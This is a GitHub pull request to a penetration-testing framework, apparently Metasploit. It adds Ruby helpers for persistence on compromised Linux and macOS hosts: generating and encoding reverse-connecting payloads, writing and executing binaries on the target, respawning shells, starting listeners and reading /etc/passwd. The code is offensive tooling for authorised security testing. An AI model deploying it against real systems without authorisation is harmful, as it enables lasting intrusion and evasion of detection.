Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add persistence module for linux and osx #629

Closed
wants to merge 4 commits into from
Closed
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
2 changes: 2 additions & 0 deletions lib/msf/core/post/file.rb
Original file line number Diff line number Diff line change
Expand Up @@ -45,6 +45,8 @@ def directory?(path)
end
end

alias directory_exist? directory?

def expand_path(path)
if session.type == "meterpreter"
return session.fs.file.expand_path(path)
Expand Down
9 changes: 9 additions & 0 deletions lib/msf/core/post/linux/priv.rb
Original file line number Diff line number Diff line change
Expand Up @@ -24,6 +24,15 @@ def is_root?
return root_priv
end

def get_user_shell
cmd = %q{while IFS=":" read -r a b c d e f g
do
echo :$c:$f:$g
done < /etc/passwd | /bin/grep ":$(id -u):"}
shell = cmd_exec(cmd).split(':')[3].gsub("\n", '').scan(/[a-zA-Z0-9]*$/)[0]
shell
end

end # Priv
end # Linux
end # Post
Expand Down
10 changes: 10 additions & 0 deletions lib/msf/core/post/linux/system.rb
Original file line number Diff line number Diff line change
Expand Up @@ -95,6 +95,16 @@ def get_sysinfo
return system_data
end

def is_X_running?
#TODO: add XFree86 too
checkdir = cmd_exec('ps -A | grep Xorg | wc -l')
if checkdir == '0'
return false
else
return true
end
end


end # System
end #Linux
Expand Down
23 changes: 23 additions & 0 deletions lib/msf/core/post/osx/priv.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
# -*- coding: binary -*-
require 'msf/core/post/common'

module Msf
class Post
module Osx
module Priv
include ::Msf::Post::Common

# Returns true if running as root, false if not.
def is_root?
name = cmd_exec("whoami")
if name == 'root'
return true
else
return false
end
end

end
end
end
end
199 changes: 199 additions & 0 deletions lib/msf/core/post/persistence.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,199 @@

module Msf
class Post
module Persistence

def initialize(info = {})
super

register_options(
[
OptAddress.new('LHOST', [true, 'IP for persistent payload to connect to.']),
OptInt.new('LPORT', [true, 'Port for persistent payload to connect to.']),
OptInt.new('DELAY', [true, 'Delay in seconds for persistent payload to reconnect.', 5]),
OptBool.new('HANDLER', [ false, 'Start a Multi/Handler to Receive the session.', true]),
OptPath.new('TEMPLATE', [false, 'Alternate template Binary File to use.']),
OptPath.new('REXE',[false, 'Use an alternative on disk executable.','']),
OptString.new('REXENAME',[false, 'The name to call exe on remote system','']),
OptString.new('RBATCHNAME',[false, 'The name to call the batch on remote system (for keepalive)','']),
OptString.new('REXEPATH',[false, 'Use alternative path on remote system instead of home directory','']),
OptBool.new('EXECUTE', [true, 'Execute the binary file once uploaded.', false]),
OptBool.new('KEEPALIVE', [true, 'Respawn the shell upon disconection.' , true]),
], self.class)

register_advanced_options(
[
OptString.new('OPTIONS', [false, "Comma separated list of additional options for payload if needed in \'opt=val,opt=val\' format.",""]),
OptString.new('ENCODER', [false, "Encoder name to use for encoding.",]),
OptInt.new('ITERATIONS', [false, 'Number of iterations for encoding.'])
], self.class)

end

# Generate raw payload
#-------------------------------------------------------------------------------
def pay_gen(pay,encoder, iterations)
raw = pay.generate
if encoder
if enc_compat(pay, encoder)
print_status("Encoding with #{encoder}")
enc = framework.encoders.create(encoder)
(1..iterations).each do |i|
print_status("\tRunning iteration #{i}")
raw = enc.encode(raw, nil, nil, "Windows")
end
end
end
return raw
end

# Check if encoder specified is in the compatible ones
#
# Note: This should allow to adapt to new encoders if they appear with out having
# to have a static whitelist.
#-------------------------------------------------------------------------------
def enc_compat(payload, encoder)
compat = false
payload.compatible_encoders.each do |e|
if e[0] == encoder.strip
compat = true
end
end
return compat
end

# Create a payload given a name, lhost and lport, additional options
#-------------------------------------------------------------------------------
def create_payload(name, lhost, lport, opts = "")
pay = session.framework.payloads.create(name)
pay.datastore['LHOST'] = lhost
pay.datastore['LPORT'] = lport
if not opts.empty?
opts.split(",").each do |o|
opt,val = o.split("=", 2)
pay.datastore[opt] = val
end
end
# Validate the options for the module
pay.options.validate(pay.datastore)
return pay

end

def create_payload_from_file(exec)
print_status("Reading Payload from file #{exec}")
return ::IO.read(exec)
end

# Function for creating log folder and returning log path
#-------------------------------------------------------------------------------
def log_file(log_path = nil)
#Get hostname
host = session.sys.config.sysinfo["Computer"]
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

this should just be sysinfo which is a method defined on Post that caches the result, so multiple uses in the same module don't have to make unnecessary requests.


# Create Filename info to be appended to downloaded files
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")

# Create a directory for the logs
if log_path
logs = ::File.join(log_path, 'logs', 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) )
else
logs = ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) )
end

# Create the log directory
::FileUtils.mkdir_p(logs)

#logfile name
logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc"
return logfile
end

# Function for writing executable to target host
#-------------------------------------------------------------------------------
def write_unix_bin_to_target(bin, rexename, isbash=false)
if @use_home_dir
bindir = get_home_dir()
else
bindir = ::File.expand_path(datastore['REXEPATH'])
end
binfile = ::File.join(bindir, rexename)
write_file(binfile, bin)
# Check if file has been created
cmdfile = '[ -f "' + binfile + '" ] && echo "OK" || echo "KO"'
checkfile = cmd_exec(cmdfile)
file_present = checkfile == 'OK'
unless file_present
raise "File has not been created, maybe permission issue on the folder (#{bindir})"
end
cmd_exec("chmod +x #{binfile}")
if isbash
print_status("Bash File written to #{binfile}")
else
print_status("Binary File written to #{binfile}")
end
return binfile
end

# Method for checking if a listener for a given IP and port is present
# will return true if a conflict exists and false if none is found
#-------------------------------------------------------------------------------
def check_for_listner(lhost,lport)
conflict = false
client.framework.jobs.each do |k,j|
if j.name =~ / multi\/handler/
current_id = j.jid
current_lhost = j.ctx[0].datastore["LHOST"]
current_lport = j.ctx[0].datastore["LPORT"]
if lhost == current_lhost and lport == current_lport.to_i
print_error("Job #{current_id} is listening on IP #{current_lhost} and port #{current_lport}")
conflict = true
end
end
end
return conflict
end

# Starts a multi/handler session
#-------------------------------------------------------------------------------
def create_multihand(payload,lhost,lport)
pay = session.framework.payloads.create(payload)
pay.datastore['LHOST'] = lhost
pay.datastore['LPORT'] = lport
print_status("Starting exploit multi handler")
if not check_for_listner(lhost,lport)
# Set options for module
mul = session.framework.exploits.create("multi/handler")
mul.share_datastore(pay.datastore)
mul.datastore['WORKSPACE'] = client.workspace
mul.datastore['PAYLOAD'] = payload
mul.datastore['EXITFUNC'] = 'thread'
mul.datastore['ExitOnSession'] = false
# Validate module options
mul.options.validate(mul.datastore)
# Execute showing output
mul.exploit_simple(
'Payload' => mul.datastore['PAYLOAD'],
'LocalInput' => self.user_input,
'LocalOutput' => self.user_output,
'RunAsJob' => true
)
else
print_error("Could not start handler!")
print_error("A job is listening on the same Port")
end

end

# Function to execute script on target
#-------------------------------------------------------------------------------
def target_shell_exec(bin_on_target)
print_status("Executing binary file #{bin_on_target}")
cmd_exec(bin_on_target)
return
end

end
end
end

45 changes: 45 additions & 0 deletions lib/msf/core/post/unix.rb
Original file line number Diff line number Diff line change
Expand Up @@ -76,6 +76,51 @@ def enum_user_directories
user_dirs
end

# Function to get the home directory
#-------------------------------------------------------------------------------
def get_home_dir()
case session.platform
when 'solaris'
user_id = cmd_exec("/usr/xpg4/bin/id -u")

cmd = 'cat /etc/passwd | grep ":' + user_id.gsub(' ','') + ':"'
homedir = cmd_exec(cmd).split(":")[5]
when 'osx'
name = cmd_exec("whoami")
if name == 'root'
homedir = '/'
else
homedir = ::File.join("/Users", name)
end
when 'bsd'
cmd = %q{while IFS=":" read -r a b c d e f g
do
echo :$c:$f
done < /etc/passwd | /usr/bin/grep ":$(id -u):"}
homedir = cmd_exec(cmd).split(":")[2].gsub("\n", "")
when 'linux'
cmd = %q{while IFS=":" read -r a b c d e f g
do
echo :$c:$f
done < /etc/passwd | /bin/grep ":$(id -u):"}
homedir = cmd_exec(cmd).split(":")[2].gsub("\n", "")
end
raise "Error while requesting home dir" unless homedir =~ /^\/[A-Za-z0-9_\-\/]*$/
return homedir
end

def get_arch
arch = cmd_exec("uname -m")
case arch
when /x86_64/
return "x64"
when /(i[3-6]86)|(i86pc)/
return "x86"
else
return arch
end
end

end
end
end
Expand Down